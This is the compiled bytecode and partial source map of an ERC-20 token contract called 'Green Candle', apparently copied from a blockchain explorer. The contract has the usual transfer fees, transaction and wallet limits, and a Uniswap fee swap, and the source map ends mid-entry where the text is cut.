0x6080604052600436106100c2575f3560e01c806370a082311161007c5780638da5cb5b116100575780638da5cb5b1461021057806395d89b4114610236578063a9059cbb14610264578063dd62ed3e14610283575f80fd5b806370a08231146101b4578063715018a6146101e8578063751039fc146101fc575f80fd5b806306fdde03146100cd578063095ea7b31461011357806318160ddd1461014257806323b872dd14610164578063313ce5671461018357806368e91cd01461019e575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600c81526b477265656e2043616e646c6560a01b60208201525b60405161010a91906111a6565b60405180910390f35b34801561011e575f80fd5b5061013261012d366004611208565b6102c7565b604051901515815260200161010a565b34801561014d575f80fd5b506101566102dd565b60405190815260200161010a565b34801561016f575f80fd5b5061013261017e366004611232565b6102fd565b34801561018e575f80fd5b506040516009815260200161010a565b3480156101a9575f80fd5b506101b2610364565b005b3480156101bf575f80fd5b506101566101ce366004611270565b6001600160a01b03165f9081526001602052604090205490565b3480156101f3575f80fd5b506101b26106b8565b348015610207575f80fd5b506101b2610729565b34801561021b575f80fd5b505f546040516001600160a01b03909116815260200161010a565b348015610241575f80fd5b506040805180820190915260068152652424a3a422a960d11b60208201526100fd565b34801561026f575f80fd5b5061013261027e366004611208565b61078e565b34801561028e575f80fd5b5061015661029d36600461128b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d333848461079a565b5060015b92915050565b5f6102ea6009600a6113b6565b6102f890633b9aca006113c4565b905090565b5f6103098484846108bd565b61035a843361035585604051806060016040528060288152602001611556602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610de6565b61079a565b5060019392505050565b5f546001600160a01b031633146103965760405162461bcd60e51b815260040161038d906113db565b60405180910390fd5b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103df9030906103d16009600a6113b6565b61035590633b9aca006113c4565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561042f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104539190611410565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d69190611410565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610520573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105449190611410565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d719473061058b816001600160a01b03165f9081526001602052604090205490565b5f8061059e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610604573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610629919061142b565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561067e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a29190611456565b506015805460ff60a81b1916600160a81b179055565b5f546001600160a01b031633146106e15760405162461bcd60e51b815260040161038d906113db565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107525760405162461bcd60e51b815260040161038d906113db565b61075e6009600a6113b6565b61076c90633b9aca006113c4565b60115561077b6009600a6113b6565b61078990633b9aca006113c4565b601055565b5f6102d33384846108bd565b6001600160a01b0383166107fc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038d565b6001600160a01b03821661085d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038d565b6001600160a01b0382166109835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038d565b5f81116109e45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038d565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a2657506001600160a01b0384165f9081526003602052604090205460ff16155b15610c8057610a486064610a42610a3b610e1e565b8690610e5b565b90610ee0565b6015549092506001600160a01b038681169116148015610a7657506014546001600160a01b03858116911614155b8015610a9a57506001600160a01b0384165f9081526003602052604090205460ff16155b15610b8057601054831115610af15760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e000000000000000000604482015260640161038d565b60115483610b13866001600160a01b03165f9081526001602052604090205490565b610b1d9190611475565b1115610b6b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161038d565b600a8054905f610b7a83611488565b91905055505b6015546001600160a01b038581169116148015610ba657506001600160a01b0385163014155b15610bbe57610bbb6064610a42610a3b610f21565b91505b305f90815260016020526040902054601554600160a01b900460ff16158015610bf457506015546001600160a01b038681169116145b8015610c095750601554600160a81b900460ff165b8015610c16575060125484115b15610c7a57601254811115610c4257610c42610c3d85610c3884601354610f57565b610f57565b610f6b565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610c78573d5f803e3d5ffd5b505b50610ca8565b6004546001600160a01b0390811690861603610ca857600d54600c54610ca5916110db565b90505b8115610d2057305f90815260016020526040902054610cc7908361111c565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d179086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610d4290826110db565b6001600160a01b0386165f90815260016020526040902055610d85610d6784846110db565b6001600160a01b0386165f908152600160205260409020549061111c565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dce86866110db565b60405190815260200160405180910390a35050505050565b5f8184841115610e095760405162461bcd60e51b815260040161038d91906111a6565b505f610e1584866114a0565b95945050505050565b5f600754600a5411610e31575060055490565b600754600a54118015610e485750600d54600a5411155b15610e545750600b5490565b50600e5490565b5f825f03610e6a57505f6102d7565b5f610e7583856113c4565b905082610e8285836114b3565b14610ed95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038d565b9392505050565b5f610ed983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061117a565b5f600754600a5411610f34575060065490565b600854600a54118015610f4b5750600d54600a5411155b15610e545750600c5490565b5f818311610f655782610ed9565b50919050565b6015805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fb157610fb16114d2565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611008573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102c9190611410565b8160018151811061103f5761103f6114d2565b6001600160a01b039283166020918202929092010152601454611065913091168461079a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061109d9085905f908690309042906004016114e6565b5f604051808303815f87803b1580156110b4575f80fd5b505af11580156110c6573d5f803e3d5ffd5b50506015805460ff60a01b1916905550505050565b5f610ed983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610de6565b5f806111288385611475565b905083811015610ed95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038d565b5f818361119a5760405162461bcd60e51b815260040161038d91906111a6565b505f610e1584866114b3565b5f6020808352835180828501525f5b818110156111d1578581018301518582016040015282016111b5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611205575f80fd5b50565b5f8060408385031215611219575f80fd5b8235611224816111f1565b946020939093013593505050565b5f805f60608486031215611244575f80fd5b833561124f816111f1565b9250602084013561125f816111f1565b929592945050506040919091013590565b5f60208284031215611280575f80fd5b8135610ed9816111f1565b5f806040838503121561129c575f80fd5b82356112a7816111f1565b915060208301356112b7816111f1565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561131057815f19048211156112f6576112f66112c2565b8085161561130357918102915b93841c93908002906112db565b509250929050565b5f82611326575060016102d7565b8161133257505f6102d7565b816001811461134857600281146113525761136e565b60019150506102d7565b60ff841115611363576113636112c2565b50506001821b6102d7565b5060208310610133831016604e8410600b8410161715611391575081810a6102d7565b61139b83836112d6565b805f19048211156113ae576113ae6112c2565b029392505050565b5f610ed960ff841683611318565b80820281158282048414176102d7576102d76112c2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611420575f80fd5b8151610ed9816111f1565b5f805f6060848603121561143d575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611466575f80fd5b81518015158114610ed9575f80fd5b808201808211156102d7576102d76112c2565b5f60018201611499576114996112c2565b5060010190565b818103818111156102d7576102d76112c2565b5f826114cd57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156115345784516001600160a01b03168352938301939183019160010161150f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c6a13636c4de9ab0ebca5e4bba3e167cc76c9f9f550bce4ab3114b2d4b46d9264736f6c63430008150033

Deployed Bytecode Sourcemap

3653:7283:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5501:83;;;;;;;;;;-1:-1:-1;5571:5:0;;;;;;;;;;;;-1:-1:-1;;;5571:5:0;;;;5501:83;;;;;;;:::i;:::-;;;;;;;;6334:161;;;;;;;;;;-1:-1:-1;6334:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6334:161:0;1023:187:1;5778:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5778:95:0;1215:177:1;6503:313:0;;;;;;;;;;-1:-1:-1;6503:313:0;;;;;:::i;:::-;;:::i;5687:83::-;;;;;;;;;;-1:-1:-1;5687:83:0;;4466:1;2000:36:1;;1988:2;1973:18;5687:83:0;1858:184:1;10200:573:0;;;;;;;;;;;;;:::i;:::-;;5881:119;;;;;;;;;;-1:-1:-1;5881:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5974:18:0;5947:7;5974:18;;;:9;:18;;;;;;;5881:119;2734:148;;;;;;;;;;;;;:::i;10781:115::-;;;;;;;;;;;;;:::i;2520:79::-;;;;;;;;;;-1:-1:-1;2558:7:0;2585:6;2520:79;;-1:-1:-1;;;;;2585:6:0;;;2445:51:1;;2433:2;2418:18;2520:79:0;2299:203:1;5592:87:0;;;;;;;;;;-1:-1:-1;5664:7:0;;;;;;;;;;;;-1:-1:-1;;;5664:7:0;;;;5592:87;;6008:167;;;;;;;;;;-1:-1:-1;6008:167:0;;;;;:::i;:::-;;:::i;6183:143::-;;;;;;;;;;-1:-1:-1;6183:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6291:18:0;;;6264:7;6291:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6183:143;6334:161;6409:4;6426:39;355:10;6449:7;6458:6;6426:8;:39::i;:::-;-1:-1:-1;6483:4:0;6334:161;;;;;:::o;5778:95::-;5831:7;4522:13;4466:1;4522:2;:13;:::i;:::-;4509:26;;:10;:26;:::i;:::-;5851:14;;5778:95;:::o;6503:313::-;6601:4;6618:36;6628:6;6636:9;6647:6;6618:9;:36::i;:::-;6665:121;6674:6;355:10;6696:89;6734:6;6696:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6696:19:0;;;;;;:11;:19;;;;;;;;355:10;6696:33;;;;;;;;;;:37;:89::i;:::-;6665:8;:121::i;:::-;-1:-1:-1;6804:4:0;6503:313;;;;;:::o;10200:573::-;2647:6;;-1:-1:-1;;;;;2647:6:0;355:10;2647:22;2639:67;;;;-1:-1:-1;;;2639:67:0;;;;;;;:::i;:::-;;;;;;;;;10254:15:::1;:80:::0;;-1:-1:-1;;;;;;10254:80:0::1;10291:42;10254:80:::0;;::::1;::::0;;;10345:58:::1;::::0;10362:4:::1;::::0;4522:13:::1;4466:1;4522:2;:13;:::i;:::-;4509:26;::::0;:10:::1;:26;:::i;10345:58::-;10443:15;;;;;;;;;-1:-1:-1::0;;;;;10443:15:0::1;-1:-1:-1::0;;;;;10443:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10425:55:0::1;;10489:4;10496:15;;;;;;;;;-1:-1:-1::0;;;;;10496:15:0::1;-1:-1:-1::0;;;;;10496:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10425:94;::::0;-1:-1:-1;;;;;;10425:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5435:15:1;;;10425:94:0::1;::::0;::::1;5417:34:1::0;5487:15;;5467:18;;;5460:43;5352:18;;10425:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10414:8;:105:::0;;-1:-1:-1;;;;;10414:105:0;;::::1;-1:-1:-1::0;;;;;;10414:105:0;;::::1;;::::0;;10530:15:::1;::::0;::::1;:31;10569:21;10600:4;10606:24;10600:4:::0;-1:-1:-1;;;;;5974:18:0;5947:7;5974:18;;;:9;:18;;;;;;;5881:119;10606:24:::1;10631:1;10633::::0;10635:7:::1;2558::::0;2585:6;-1:-1:-1;;;;;2585:6:0;;2520:79;10635:7:::1;10530:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10530:129:0;;;-1:-1:-1;;;;;5873:15:1;;;10530:129:0::1;::::0;::::1;5855:34:1::0;5905:18;;;5898:34;;;;5948:18;;;5941:34;;;;5991:18;;;5984:34;6055:15;;;6034:19;;;6027:44;10643:15:0::1;6087:19:1::0;;;6080:35;5789:19;;10530:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10677:8:0::1;::::0;10703:15:::1;::::0;10670:66:::1;::::0;-1:-1:-1;;;10670:66:0;;-1:-1:-1;;;;;10703:15:0;;::::1;10670:66;::::0;::::1;6611:51:1::0;-1:-1:-1;;6678:18:1;;;6671:34;10677:8:0;::::1;::::0;-1:-1:-1;10670:24:0::1;::::0;6584:18:1;;10670:66:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10747:11:0::1;:18:::0;;-1:-1:-1;;;;10747:18:0::1;-1:-1:-1::0;;;10747:18:0::1;::::0;;10200:573::o;2734:148::-;2647:6;;-1:-1:-1;;;;;2647:6:0;355:10;2647:22;2639:67;;;;-1:-1:-1;;;2639:67:0;;;;;;;:::i;:::-;2841:1:::1;2825:6:::0;;2804:40:::1;::::0;-1:-1:-1;;;;;2825:6:0;;::::1;::::0;2804:40:::1;::::0;2841:1;;2804:40:::1;2872:1;2855:19:::0;;-1:-1:-1;;;;;;2855:19:0::1;::::0;;2734:148::o;10781:115::-;2647:6;;-1:-1:-1;;;;;2647:6:0;355:10;2647:22;2639:67;;;;-1:-1:-1;;;2639:67:0;;;;;;;:::i;:::-;4522:13:::1;4466:1;4522:2;:13;:::i;:::-;4509:26;::::0;:10:::1;:26;:::i;:::-;10834:14;:23:::0;4522:13:::1;4466:1;4522:2;:13;:::i;:::-;4509:26;::::0;:10:::1;:26;:::i;:::-;10868:10;:20:::0;10781:115::o;6008:167::-;6086:4;6103:42;355:10;6127:9;6138:6;6103:9;:42::i;6824:335::-;-1:-1:-1;;;;;6917:19:0;;6909:68;;;;-1:-1:-1;;;6909:68:0;;7200:2:1;6909:68:0;;;7182:21:1;7239:2;7219:18;;;7212:30;7278:34;7258:18;;;7251:62;-1:-1:-1;;;7329:18:1;;;7322:34;7373:19;;6909:68:0;6998:400:1;6909:68:0;-1:-1:-1;;;;;6996:21:0;;6988:68;;;;-1:-1:-1;;;6988:68:0;;7605:2:1;6988:68:0;;;7587:21:1;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:32;7776:19;;6988:68:0;7403:398:1;6988:68:0;-1:-1:-1;;;;;7067:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7119:32;;1361:25:1;;;7119:32:0;;1334:18:1;7119:32:0;;;;;;;6824:335;;;:::o;7167:1775::-;-1:-1:-1;;;;;7255:18:0;;7247:68;;;;-1:-1:-1;;;7247:68:0;;8008:2:1;7247:68:0;;;7990:21:1;8047:2;8027:18;;;8020:30;8086:34;8066:18;;;8059:62;-1:-1:-1;;;8137:18:1;;;8130:35;8182:19;;7247:68:0;7806:401:1;7247:68:0;-1:-1:-1;;;;;7334:16:0;;7326:64;;;;-1:-1:-1;;;7326:64:0;;8414:2:1;7326:64:0;;;8396:21:1;8453:2;8433:18;;;8426:30;8492:34;8472:18;;;8465:62;-1:-1:-1;;;8543:18:1;;;8536:33;8586:19;;7326:64:0;8212:399:1;7326:64:0;7418:1;7409:6;:10;7401:64;;;;-1:-1:-1;;;7401:64:0;;8818:2:1;7401:64:0;;;8800:21:1;8857:2;8837:18;;;8830:30;8896:34;8876:18;;;8869:62;-1:-1:-1;;;8947:18:1;;;8940:39;8996:19;;7401:64:0;8616:405:1;7401:64:0;-1:-1:-1;;;;;7546:20:0;;7476:17;7546:20;;;:14;:20;;;;;;7524:6;;7546:20;;7545:21;:44;;;;-1:-1:-1;;;;;;7571:18:0;;;;;;:14;:18;;;;;;;;7570:19;7545:44;7541:1043;;;7618:34;7648:3;7618:25;7629:13;:11;:13::i;:::-;7618:6;;:10;:25::i;:::-;:29;;:34::i;:::-;7681:8;;7606:46;;-1:-1:-1;;;;;;7673:16:0;;;7681:8;;7673:16;:50;;;;-1:-1:-1;7707:15:0;;-1:-1:-1;;;;;7693:30:0;;;7707:15;;7693:30;;7673:50;:74;;;;-1:-1:-1;;;;;;7729:18:0;;;;;;:14;:18;;;;;;;;7727:20;7673:74;7669:305;;;7787:10;;7777:6;:20;;7769:56;;;;-1:-1:-1;;;7769:56:0;;9228:2:1;7769:56:0;;;9210:21:1;9267:2;9247:18;;;9240:30;9306:25;9286:18;;;9279:53;9349:18;;7769:56:0;9026:347:1;7769:56:0;7878:14;;7868:6;7852:13;7862:2;-1:-1:-1;;;;;5974:18:0;5947:7;5974:18;;;:9;:18;;;;;;;5881:119;7852:13;:22;;;;:::i;:::-;:40;;7844:79;;;;-1:-1:-1;;;7844:79:0;;9710:2:1;7844:79:0;;;9692:21:1;9749:2;9729:18;;;9722:30;9788:28;9768:18;;;9761:56;9834:18;;7844:79:0;9508:350:1;7844:79:0;7942:14;:16;;;:14;:16;;;:::i;:::-;;;;;;7669:305;7999:8;;-1:-1:-1;;;;;7993:14:0;;;7999:8;;7993:14;:38;;;;-1:-1:-1;;;;;;8011:20:0;;8026:4;8011:20;;7993:38;7990:125;;;8064:35;8095:3;8064:26;8075:14;:12;:14::i;8064:35::-;8052:47;;7990:125;8172:4;8131:20;5974:18;;;:9;:18;;;;;;8198:9;;-1:-1:-1;;;8198:9:0;;;;8197:10;:28;;;;-1:-1:-1;8217:8:0;;-1:-1:-1;;;;;8211:14:0;;;8217:8;;8211:14;8197:28;:43;;;;-1:-1:-1;8229:11:0;;-1:-1:-1;;;8229:11:0;;;;8197:43;:68;;;;;8253:12;;8244:6;:21;8197:68;8193:279;;;8304:12;;8289;:27;8286:107;;;8335:58;8350:42;8354:6;8361:30;8365:12;8378;;8361:3;:30::i;:::-;8350:3;:42::i;:::-;8335:14;:58::i;:::-;8412:12;;:44;;-1:-1:-1;;;;;8412:12:0;;;;8434:21;8412:44;;;;;:12;:44;:12;:44;8434:21;8412:12;:44;;;;;;;;;;;;;;;;;;;;;8193:279;7591:892;7541:1043;;;8508:12;;-1:-1:-1;;;;;8508:12:0;;;8492:29;;;;8489:95;;8567:16;;8548:14;;:36;;:18;:36::i;:::-;8536:48;;8489:95;8598:11;;8595:161;;8666:4;8648:24;;;;:9;:24;;;;;;:39;;8677:9;8648:28;:39::i;:::-;8641:4;8623:24;;;;:9;:24;;;;;;;:64;;;;8705:39;;-1:-1:-1;;;;;8705:39:0;;;;;;;8734:9;1361:25:1;;1349:2;1334:18;;1215:177;8705:39:0;;;;;;;;8595:161;-1:-1:-1;;;;;8782:15:0;;;;;;:9;:15;;;;;;:30;;8802:9;8782:19;:30::i;:::-;-1:-1:-1;;;;;8766:15:0;;;;;;:9;:15;;;;;:46;8837:40;8855:21;:6;8866:9;8855:10;:21::i;:::-;-1:-1:-1;;;;;8837:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8823:13:0;;;;;;;:9;:13;;;;;:54;;;;8893:41;;;8912:21;:6;8923:9;8912:10;:21::i;:::-;8893:41;;1361:25:1;;;1349:2;1334:18;8893:41:0;;;;;;;7236:1706;;7167:1775;;;:::o;1412:190::-;1498:7;1534:12;1526:6;;;;1518:29;;;;-1:-1:-1;;;1518:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1558:9:0;1570:5;1574:1;1570;:5;:::i;:::-;1558:17;1412:190;-1:-1:-1;;;;;1412:190:0:o;9278:317::-;9323:7;9364:15;;9346:14;;:33;9343:83;;-1:-1:-1;9402:12:0;;;9278:317::o;9343:83::-;9456:15;;9439:14;;:32;:70;;;;;9493:16;;9475:14;;:34;;9439:70;9436:121;;;-1:-1:-1;9532:13:0;;;9278:317::o;9436:121::-;-1:-1:-1;9575:12:0;;;9278:317::o;1610:246::-;1668:7;1692:1;1697;1692:6;1688:47;;-1:-1:-1;1722:1:0;1715:8;;1688:47;1745:9;1757:5;1761:1;1757;:5;:::i;:::-;1745:17;-1:-1:-1;1790:1:0;1781:5;1785:1;1745:17;1781:5;:::i;:::-;:10;1773:56;;;;-1:-1:-1;;;1773:56:0;;10560:2:1;1773:56:0;;;10542:21:1;10599:2;10579:18;;;10572:30;10638:34;10618:18;;;10611:62;-1:-1:-1;;;10689:18:1;;;10682:31;10730:19;;1773:56:0;10358:397:1;1773:56:0;1847:1;1610:246;-1:-1:-1;;;1610:246:0:o;1864:132::-;1922:7;1949:39;1953:1;1956;1949:39;;;;;;;;;;;;;;;;;:3;:39::i;8950:320::-;8996:7;9037:15;;9019:14;;:33;9016:84;;-1:-1:-1;9075:13:0;;;8950:320::o;9016:84::-;9130:16;;9113:14;;:33;:71;;;;;9168:16;;9150:14;;:34;;9113:71;9110:123;;;-1:-1:-1;9207:14:0;;;8950:320::o;9605:98::-;9662:7;9689:1;9687;:3;9686:9;;9694:1;9686:9;;;-1:-1:-1;9692:1:0;9605:98;-1:-1:-1;9605:98:0:o;9711:481::-;5082:9;:16;;-1:-1:-1;;;;5082:16:0;-1:-1:-1;;;5082:16:0;;;9811::::1;::::0;;9825:1:::1;9811:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9811:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9811:16:0::1;9787:40;;9856:4;9838;9843:1;9838:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9838:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9882:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9882:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9838:7;;9882:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9872:4;9877:1;9872:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9872:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9947:15:::1;::::0;9915:62:::1;::::0;9932:4:::1;::::0;9947:15:::1;9965:11:::0;9915:8:::1;:62::i;:::-;9988:15;::::0;:196:::1;::::0;-1:-1:-1;;;9988:196:0;;-1:-1:-1;;;;;9988:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10069:11;;9988:15:::1;::::0;10111:4;;10138::::1;::::0;10158:15:::1;::::0;9988:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5121:9:0;:17;;-1:-1:-1;;;;5121:17:0;;;-1:-1:-1;;;;9711:481:0:o;1268:136::-;1326:7;1353:43;1357:1;1360;1353:43;;;;;;;;;;;;;;;;;:3;:43::i;1081:179::-;1139:7;;1171:5;1175:1;1171;:5;:::i;:::-;1159:17;;1200:1;1195;:6;;1187:46;;;;-1:-1:-1;;;1187:46:0;;12211:2:1;1187:46:0;;;12193:21:1;12250:2;12230:18;;;12223:30;12289:29;12269:18;;;12262:57;12336:18;;1187:46:0;12009:351:1;2004:189:0;2090:7;2125:12;2118:5;2110:28;;;;-1:-1:-1;;;2110:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2149:9:0;2161:5;2165:1;2161;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;4949:251::-;5019:6;5072:2;5060:9;5051:7;5047:23;5043:32;5040:52;;;5088:1;5085;5078:12;5040:52;5120:9;5114:16;5139:31;5164:5;5139:31;:::i;6126:306::-;6214:6;6222;6230;6283:2;6271:9;62